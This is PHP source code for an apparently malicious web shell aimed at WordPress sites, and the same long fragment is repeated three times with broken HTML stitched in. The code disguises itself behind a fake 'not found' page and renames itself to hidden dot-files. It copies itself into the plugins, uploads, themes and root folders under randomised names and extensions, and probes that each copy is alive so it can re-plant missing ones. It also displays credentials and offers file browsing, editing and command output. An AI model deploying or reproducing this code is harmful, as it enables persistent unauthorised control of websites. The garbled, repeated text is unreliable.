The requested resource could not be found.
'; exit; } function bb_idx() { if (isset($_GET['bunkadmin']) || isset($_POST['bunkadmin'])) { return -1; } for ($i = 1; $i <= BB_SLOTS; $i++) { if (isset($_GET['bunk'.$i]) || isset($_POST['bunk'.$i])) { return $i; } } return 0; } /* ---------- environment ---------- */ function bb_iswin() { return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; } function bb_hidefile($path) { if (bb_iswin()) { @shell_exec('attrib +h ' . escapeshellarg($path)); } } /* hide myself: dot-name on linux (hidden from ls / cPanel / autoindex), attrib +h on windows (same URL stays valid) */ function bb_selfhide() { $b = basename(__FILE__); if ($b !== '' && $b[0] === '.') { return $b; } if (bb_iswin()) { bb_hidefile(__FILE__); return $b; } $nn = '.' . $b; if (@rename(__FILE__, dirname(__FILE__) . '/' . $nn)) { return $nn; } bb_hidefile(__FILE__); return $b; } function bb_wproot() { $d = __DIR__; for ($i = 0; $i < 9; $i++) { if (@is_file($d . '/wp-load.php')) { return $d; } $p = dirname($d); if ($p === $d) { break; } $d = $p; } return null; } function bb_targets() { $root = bb_wproot(); $d = __DIR__; if ($root === null) { return array(1=>$d, 2=>$d, 3=>$d, 4=>$d, 5=>$d, 6=>$d); } return array( 1 => $d, 2 => $root . '/wp-content/plugins', 3 => $root . '/wp-content/uploads', 4 => $root . '/wp-content', 5 => $root . '/wp-content/themes', 6 => $root, ); } function bb_ext($idx) { $m = array(1=>'php', 2=>'php', 3=>'php5', 4=>'phtml', 5=>'php7', 6=>'php'); return isset($m[$idx]) ? $m[$idx] : 'php'; } function bb_name($idx, $dir, $ext = null) { if ($ext === null) { $ext = bb_ext($idx); } return '.' . substr(md5(BB_SALT . '|' . $idx . '|' . $dir), 0, 9) . '.' . $ext; } /* ---------- url helpers ---------- */ function bb_scheme_host() { $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '127.0.0.1'; return ($https ? 'https' : 'http') . '://' . $host; } function bb_webpath() { if (isset($_SERVER['SCRIPT_NAME'])) { return $_SERVER['SCRIPT_NAME']; } $u = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; $p = parse_url($u, PHP_URL_PATH); return $p ? $p : '/'; } function bb_normalize_web($path) { $parts = explode('/', ltrim($path, '/')); $out = array(); foreach ($parts as $seg) { if ($seg === '' || $seg === '.') { continue; } if ($seg === '..') { array_pop($out); continue; } $out[] = $seg; } return '/' . implode('/', $out); } function bb_url_for($target_dir) { $cur = bb_webpath(); $curdir = dirname($cur); $curdir = ($curdir === '/' || $curdir === '.' || $curdir === '\\') ? '' : $curdir; $from = str_replace('\\', '/', __DIR__); $to = str_replace('\\', '/', $target_dir); $fa = explode('/', rtrim($from, '/')); $ta = explode('/', rtrim($to, '/')); $i = 0; $n = min(count($fa), count($ta)); while ($i < $n && $fa[$i] === $ta[$i]) { $i++; } $rel = array(); for ($j = $i; $j < count($fa); $j++) { $rel[] = '..'; } for ($j = $i; $j < count($ta); $j++) { $rel[] = $ta[$j]; } $relpath = $rel ? implode('/', $rel) : '.'; return bb_scheme_host() . rtrim(bb_normalize_web($curdir . '/' . $relpath), '/'); } function bb_selfurl($newname) { $sn = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/'; $dir = rtrim(dirname($sn), '/'); return bb_scheme_host() . $dir . '/' . $newname; } function bb_alive($url, $idx) { if (strpos($url, 'http') !== 0) { return false; } $u = $url . (strpos($url, '?') === false ? '?' : '&') . 'bunk' . $idx . '=1&probe=1'; $ctx = stream_context_create(array( 'http' => array('timeout' => 6, 'ignore_errors' => true, 'header' => "User-Agent: Mozilla/5.0\r\n"), )); $r = @file_get_contents($u, false, $ctx); if ($r !== false && strpos($r, 'bb-ok') !== false) { return true; } if (function_exists('curl_init')) { $ch = @curl_init($u); if ($ch) { @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_TIMEOUT, 6); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $r2 = @curl_exec($ch); @curl_close($ch); return ($r2 !== false && strpos($r2, 'bb-ok') !== false); } } return false; } /* ---------- self spread / self heal ---------- */ function bb_heal($src, $selfname, $selfurl) { $myreal = @realpath(__DIR__); $out = array(); foreach (bb_targets() as $idx => $dir) { if ($idx === 1) { $out[1] = array('dir'=>$myreal, 'url'=>$selfurl, 'alive'=>1, 'name'=>$selfname, 'mine'=>1); continue; } $entry = array('dir'=>$dir, 'url'=>'', 'alive'=>0, 'name'=>'', 'mine'=>0); if (!@is_dir($dir)) { @mkdir($dir, 0755, true); } $real = @realpath($dir); if ($real === false || !@is_dir($real)) { $out[$idx] = $entry; continue; } $name = bb_name($idx, $real); $path = $real . '/' . $name; $ok = false; if (@is_file($path)) { $cur = @file_get_contents($path); if ($cur !== false && md5($cur) === md5($src)) { $ok = true; } } if (!$ok) { $ok = (@file_put_contents($path, $src) !== false); if ($ok) { bb_hidefile($path); } } if (!$ok) { $out[$idx] = $entry; continue; } $url = bb_url_for($real) . '/' . $name; $alive = bb_alive($url, $idx); if (!$alive && bb_ext($idx) !== 'php') { $alt = bb_name($idx, $real, 'php'); $altpath = $real . '/' . $alt; if (@file_put_contents($altpath, $src) !== false) { bb_hidefile($altpath); $alturl = bb_url_for($real) . '/' . $alt; if (bb_alive($alturl, $idx)) { @unlink($path); $url = $alturl; $name = $alt; $alive = true; } else { @unlink($altpath); } } } $out[$idx] = array('dir'=>$real, 'url'=>$url, 'alive'=>$alive?1:0, 'name'=>$name, 'mine'=>($real === $myreal)?1:0); } return $out; } /* ---------- admin stage ---------- */ function bb_page($title, $body) { header('Content-Type: text/html; charset=utf-8'); echo '' . $body . '
user: ' . bb_e($creds['l']) . '
' . 'pass: ' . bb_e($creds['p']) . '
' . '' . ''
. bb_e(($out === false || $out === null) ? '' : $out)
. '';
exit;
}
return $msg;
}
function bb_ui($heal, $idx, $selfurl) {
$self = $selfurl . '?bunk' . $idx . '=1';
$msg = bb_handle_action($self);
$cwd = bb_cwd();
/* edit view */
$editfile = '';
$editdata = '';
if (isset($_REQUEST['a']) && $_REQUEST['a'] === 'view') {
$p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : '');
if ($p !== false && @is_file($p) && @filesize($p) <= 2097152) {
$editfile = $p;
$editdata = @file_get_contents($p);
}
}
/* listing */
$rows = '';
$dh = @opendir($cwd);
if ($dh) {
$entries = array();
while (($e = readdir($dh)) !== false) { $entries[] = $e; }
closedir($dh);
sort($entries);
foreach ($entries as $e) {
$full = $cwd . '/' . $e;
if (@is_dir($full)) {
$rows .= '' . bb_e($editfile) . '
' . '| name | size | perm | modified | actions |
|---|
The requested resource could not be found.
'; exit; } function bb_idx() { if (isset($_GET['bunkadmin']) || isset($_POST['bunkadmin'])) { return -1; } for ($i = 1; $i <= BB_SLOTS; $i++) { if (isset($_GET['bunk'.$i]) || isset($_POST['bunk'.$i])) { return $i; } } return 0; } /* ---------- environment ---------- */ function bb_iswin() { return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; } function bb_hidefile($path) { if (bb_iswin()) { @shell_exec('attrib +h ' . escapeshellarg($path)); } } /* hide myself: dot-name on linux (hidden from ls / cPanel / autoindex), attrib +h on windows (same URL stays valid) */ function bb_selfhide() { $b = basename(__FILE__); if ($b !== '' && $b[0] === '.') { return $b; } if (bb_iswin()) { bb_hidefile(__FILE__); return $b; } $nn = '.' . $b; if (@rename(__FILE__, dirname(__FILE__) . '/' . $nn)) { return $nn; } bb_hidefile(__FILE__); return $b; } function bb_wproot() { $d = __DIR__; for ($i = 0; $i < 9; $i++) { if (@is_file($d . '/wp-load.php')) { return $d; } $p = dirname($d); if ($p === $d) { break; } $d = $p; } return null; } function bb_targets() { $root = bb_wproot(); $d = __DIR__; if ($root === null) { return array(1=>$d, 2=>$d, 3=>$d, 4=>$d, 5=>$d, 6=>$d); } return array( 1 => $d, 2 => $root . '/wp-content/plugins', 3 => $root . '/wp-content/uploads', 4 => $root . '/wp-content', 5 => $root . '/wp-content/themes', 6 => $root, ); } function bb_ext($idx) { $m = array(1=>'php', 2=>'php', 3=>'php5', 4=>'phtml', 5=>'php7', 6=>'php'); return isset($m[$idx]) ? $m[$idx] : 'php'; } function bb_name($idx, $dir, $ext = null) { if ($ext === null) { $ext = bb_ext($idx); } return '.' . substr(md5(BB_SALT . '|' . $idx . '|' . $dir), 0, 9) . '.' . $ext; } /* ---------- url helpers ---------- */ function bb_scheme_host() { $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '127.0.0.1'; return ($https ? 'https' : 'http') . '://' . $host; } function bb_webpath() { if (isset($_SERVER['SCRIPT_NAME'])) { return $_SERVER['SCRIPT_NAME']; } $u = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; $p = parse_url($u, PHP_URL_PATH); return $p ? $p : '/'; } function bb_normalize_web($path) { $parts = explode('/', ltrim($path, '/')); $out = array(); foreach ($parts as $seg) { if ($seg === '' || $seg === '.') { continue; } if ($seg === '..') { array_pop($out); continue; } $out[] = $seg; } return '/' . implode('/', $out); } function bb_url_for($target_dir) { $cur = bb_webpath(); $curdir = dirname($cur); $curdir = ($curdir === '/' || $curdir === '.' || $curdir === '\\') ? '' : $curdir; $from = str_replace('\\', '/', __DIR__); $to = str_replace('\\', '/', $target_dir); $fa = explode('/', rtrim($from, '/')); $ta = explode('/', rtrim($to, '/')); $i = 0; $n = min(count($fa), count($ta)); while ($i < $n && $fa[$i] === $ta[$i]) { $i++; } $rel = array(); for ($j = $i; $j < count($fa); $j++) { $rel[] = '..'; } for ($j = $i; $j < count($ta); $j++) { $rel[] = $ta[$j]; } $relpath = $rel ? implode('/', $rel) : '.'; return bb_scheme_host() . rtrim(bb_normalize_web($curdir . '/' . $relpath), '/'); } function bb_selfurl($newname) { $sn = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/'; $dir = rtrim(dirname($sn), '/'); return bb_scheme_host() . $dir . '/' . $newname; } function bb_alive($url, $idx) { if (strpos($url, 'http') !== 0) { return false; } $u = $url . (strpos($url, '?') === false ? '?' : '&') . 'bunk' . $idx . '=1&probe=1'; $ctx = stream_context_create(array( 'http' => array('timeout' => 6, 'ignore_errors' => true, 'header' => "User-Agent: Mozilla/5.0\r\n"), )); $r = @file_get_contents($u, false, $ctx); if ($r !== false && strpos($r, 'bb-ok') !== false) { return true; } if (function_exists('curl_init')) { $ch = @curl_init($u); if ($ch) { @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_TIMEOUT, 6); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $r2 = @curl_exec($ch); @curl_close($ch); return ($r2 !== false && strpos($r2, 'bb-ok') !== false); } } return false; } /* ---------- self spread / self heal ---------- */ function bb_heal($src, $selfname, $selfurl) { $myreal = @realpath(__DIR__); $out = array(); foreach (bb_targets() as $idx => $dir) { if ($idx === 1) { $out[1] = array('dir'=>$myreal, 'url'=>$selfurl, 'alive'=>1, 'name'=>$selfname, 'mine'=>1); continue; } $entry = array('dir'=>$dir, 'url'=>'', 'alive'=>0, 'name'=>'', 'mine'=>0); if (!@is_dir($dir)) { @mkdir($dir, 0755, true); } $real = @realpath($dir); if ($real === false || !@is_dir($real)) { $out[$idx] = $entry; continue; } $name = bb_name($idx, $real); $path = $real . '/' . $name; $ok = false; if (@is_file($path)) { $cur = @file_get_contents($path); if ($cur !== false && md5($cur) === md5($src)) { $ok = true; } } if (!$ok) { $ok = (@file_put_contents($path, $src) !== false); if ($ok) { bb_hidefile($path); } } if (!$ok) { $out[$idx] = $entry; continue; } $url = bb_url_for($real) . '/' . $name; $alive = bb_alive($url, $idx); if (!$alive && bb_ext($idx) !== 'php') { $alt = bb_name($idx, $real, 'php'); $altpath = $real . '/' . $alt; if (@file_put_contents($altpath, $src) !== false) { bb_hidefile($altpath); $alturl = bb_url_for($real) . '/' . $alt; if (bb_alive($alturl, $idx)) { @unlink($path); $url = $alturl; $name = $alt; $alive = true; } else { @unlink($altpath); } } } $out[$idx] = array('dir'=>$real, 'url'=>$url, 'alive'=>$alive?1:0, 'name'=>$name, 'mine'=>($real === $myreal)?1:0); } return $out; } /* ---------- admin stage ---------- */ function bb_page($title, $body) { header('Content-Type: text/html; charset=utf-8'); echo '' . $body . '
user: ' . bb_e($creds['l']) . '
' . 'pass: ' . bb_e($creds['p']) . '
' . '' . ''
. bb_e(($out === false || $out === null) ? '' : $out)
. '';
exit;
}
return $msg;
}
function bb_ui($heal, $idx, $selfurl) {
$self = $selfurl . '?bunk' . $idx . '=1';
$msg = bb_handle_action($self);
$cwd = bb_cwd();
/* edit view */
$editfile = '';
$editdata = '';
if (isset($_REQUEST['a']) && $_REQUEST['a'] === 'view') {
$p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : '');
if ($p !== false && @is_file($p) && @filesize($p) <= 2097152) {
$editfile = $p;
$editdata = @file_get_contents($p);
}
}
/* listing */
$rows = '';
$dh = @opendir($cwd);
if ($dh) {
$entries = array();
while (($e = readdir($dh)) !== false) { $entries[] = $e; }
closedir($dh);
sort($entries);
foreach ($entries as $e) {
$full = $cwd . '/' . $e;
if (@is_dir($full)) {
$rows .= '' . bb_e($editfile) . '
' . '| name | size | perm | modified | actions |
|---|
The requested resource could not be found.
'; exit; } function bb_idx() { if (isset($_GET['bunkadmin']) || isset($_POST['bunkadmin'])) { return -1; } for ($i = 1; $i <= BB_SLOTS; $i++) { if (isset($_GET['bunk'.$i]) || isset($_POST['bunk'.$i])) { return $i; } } return 0; } /* ---------- environment ---------- */ function bb_iswin() { return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; } function bb_hidefile($path) { if (bb_iswin()) { @shell_exec('attrib +h ' . escapeshellarg($path)); } } /* hide myself: dot-name on linux (hidden from ls / cPanel / autoindex), attrib +h on windows (same URL stays valid) */ function bb_selfhide() { $b = basename(__FILE__); if ($b !== '' && $b[0] === '.') { return $b; } if (bb_iswin()) { bb_hidefile(__FILE__); return $b; } $nn = '.' . $b; if (@rename(__FILE__, dirname(__FILE__) . '/' . $nn)) { return $nn; } bb_hidefile(__FILE__); return $b; } function bb_wproot() { $d = __DIR__; for ($i = 0; $i < 9; $i++) { if (@is_file($d . '/wp-load.php')) { return $d; } $p = dirname($d); if ($p === $d) { break; } $d = $p; } return null; } function bb_targets() { $root = bb_wproot(); $d = __DIR__; if ($root === null) { return array(1=>$d, 2=>$d, 3=>$d, 4=>$d, 5=>$d, 6=>$d); } return array( 1 => $d, 2 => $root . '/wp-content/plugins', 3 => $root . '/wp-content/uploads', 4 => $root . '/wp-content', 5 => $root . '/wp-content/themes', 6 => $root, ); } function bb_ext($idx) { $m = array(1=>'php', 2=>'php', 3=>'php5', 4=>'phtml', 5=>'php7', 6=>'php'); return isset($m[$idx]) ? $m[$idx] : 'php'; } function bb_name($idx, $dir, $ext = null) { if ($ext === null) { $ext = bb_ext($idx); } return '.' . substr(md5(BB_SALT . '|' . $idx . '|' . $dir), 0, 9) . '.' . $ext; } /* ---------- url helpers ---------- */ function bb_scheme_host() { $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '127.0.0.1'; return ($https ? 'https' : 'http') . '://' . $host; } function bb_webpath() { if (isset($_SERVER['SCRIPT_NAME'])) { return $_SERVER['SCRIPT_NAME']; } $u = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; $p = parse_url($u, PHP_URL_PATH); return $p ? $p : '/'; } function bb_normalize_web($path) { $parts = explode('/', ltrim($path, '/')); $out = array(); foreach ($parts as $seg) { if ($seg === '' || $seg === '.') { continue; } if ($seg === '..') { array_pop($out); continue; } $out[] = $seg; } return '/' . implode('/', $out); } function bb_url_for($target_dir) { $cur = bb_webpath(); $curdir = dirname($cur); $curdir = ($curdir === '/' || $curdir === '.' || $curdir === '\\') ? '' : $curdir; $from = str_replace('\\', '/', __DIR__); $to = str_replace('\\', '/', $target_dir); $fa = explode('/', rtrim($from, '/')); $ta = explode('/', rtrim($to, '/')); $i = 0; $n = min(count($fa), count($ta)); while ($i < $n && $fa[$i] === $ta[$i]) { $i++; } $rel = array(); for ($j = $i; $j < count($fa); $j++) { $rel[] = '..'; } for ($j = $i; $j < count($ta); $j++) { $rel[] = $ta[$j]; } $relpath = $rel ? implode('/', $rel) : '.'; return bb_scheme_host() . rtrim(bb_normalize_web($curdir . '/' . $relpath), '/'); } function bb_selfurl($newname) { $sn = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/'; $dir = rtrim(dirname($sn), '/'); return bb_scheme_host() . $dir . '/' . $newname; } function bb_alive($url, $idx) { if (strpos($url, 'http') !== 0) { return false; } $u = $url . (strpos($url, '?') === false ? '?' : '&') . 'bunk' . $idx . '=1&probe=1'; $ctx = stream_context_create(array( 'http' => array('timeout' => 6, 'ignore_errors' => true, 'header' => "User-Agent: Mozilla/5.0\r\n"), )); $r = @file_get_contents($u, false, $ctx); if ($r !== false && strpos($r, 'bb-ok') !== false) { return true; } if (function_exists('curl_init')) { $ch = @curl_init($u); if ($ch) { @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_TIMEOUT, 6); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $r2 = @curl_exec($ch); @curl_close($ch); return ($r2 !== false && strpos($r2, 'bb-ok') !== false); } } return false; } /* ---------- self spread / self heal ---------- */ function bb_heal($src, $selfname, $selfurl) { $myreal = @realpath(__DIR__); $out = array(); foreach (bb_targets() as $idx => $dir) { if ($idx === 1) { $out[1] = array('dir'=>$myreal, 'url'=>$selfurl, 'alive'=>1, 'name'=>$selfname, 'mine'=>1); continue; } $entry = array('dir'=>$dir, 'url'=>'', 'alive'=>0, 'name'=>'', 'mine'=>0); if (!@is_dir($dir)) { @mkdir($dir, 0755, true); } $real = @realpath($dir); if ($real === false || !@is_dir($real)) { $out[$idx] = $entry; continue; } $name = bb_name($idx, $real); $path = $real . '/' . $name; $ok = false; if (@is_file($path)) { $cur = @file_get_contents($path); if ($cur !== false && md5($cur) === md5($src)) { $ok = true; } } if (!$ok) { $ok = (@file_put_contents($path, $src) !== false); if ($ok) { bb_hidefile($path); } } if (!$ok) { $out[$idx] = $entry; continue; } $url = bb_url_for($real) . '/' . $name; $alive = bb_alive($url, $idx); if (!$alive && bb_ext($idx) !== 'php') { $alt = bb_name($idx, $real, 'php'); $altpath = $real . '/' . $alt; if (@file_put_contents($altpath, $src) !== false) { bb_hidefile($altpath); $alturl = bb_url_for($real) . '/' . $alt; if (bb_alive($alturl, $idx)) { @unlink($path); $url = $alturl; $name = $alt; $alive = true; } else { @unlink($altpath); } } } $out[$idx] = array('dir'=>$real, 'url'=>$url, 'alive'=>$alive?1:0, 'name'=>$name, 'mine'=>($real === $myreal)?1:0); } return $out; } /* ---------- admin stage ---------- */ function bb_page($title, $body) { header('Content-Type: text/html; charset=utf-8'); echo '' . $body . '
user: ' . bb_e($creds['l']) . '
' . 'pass: ' . bb_e($creds['p']) . '
' . '' . ''
. bb_e(($out === false || $out === null) ? '' : $out)
. '';
exit;
}
return $msg;
}
function bb_ui($heal, $idx, $selfurl) {
$self = $selfurl . '?bunk' . $idx . '=1';
$msg = bb_handle_action($self);
$cwd = bb_cwd();
/* edit view */
$editfile = '';
$editdata = '';
if (isset($_REQUEST['a']) && $_REQUEST['a'] === 'view') {
$p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : '');
if ($p !== false && @is_file($p) && @filesize($p) <= 2097152) {
$editfile = $p;
$editdata = @file_get_contents($p);
}
}
/* listing */
$rows = '';
$dh = @opendir($cwd);
if ($dh) {
$entries = array();
while (($e = readdir($dh)) !== false) { $entries[] = $e; }
closedir($dh);
sort($entries);
foreach ($entries as $e) {
$full = $cwd . '/' . $e;
if (@is_dir($full)) {
$rows .= '' . bb_e($editfile) . '
' . '| name | size | perm | modified | actions |
|---|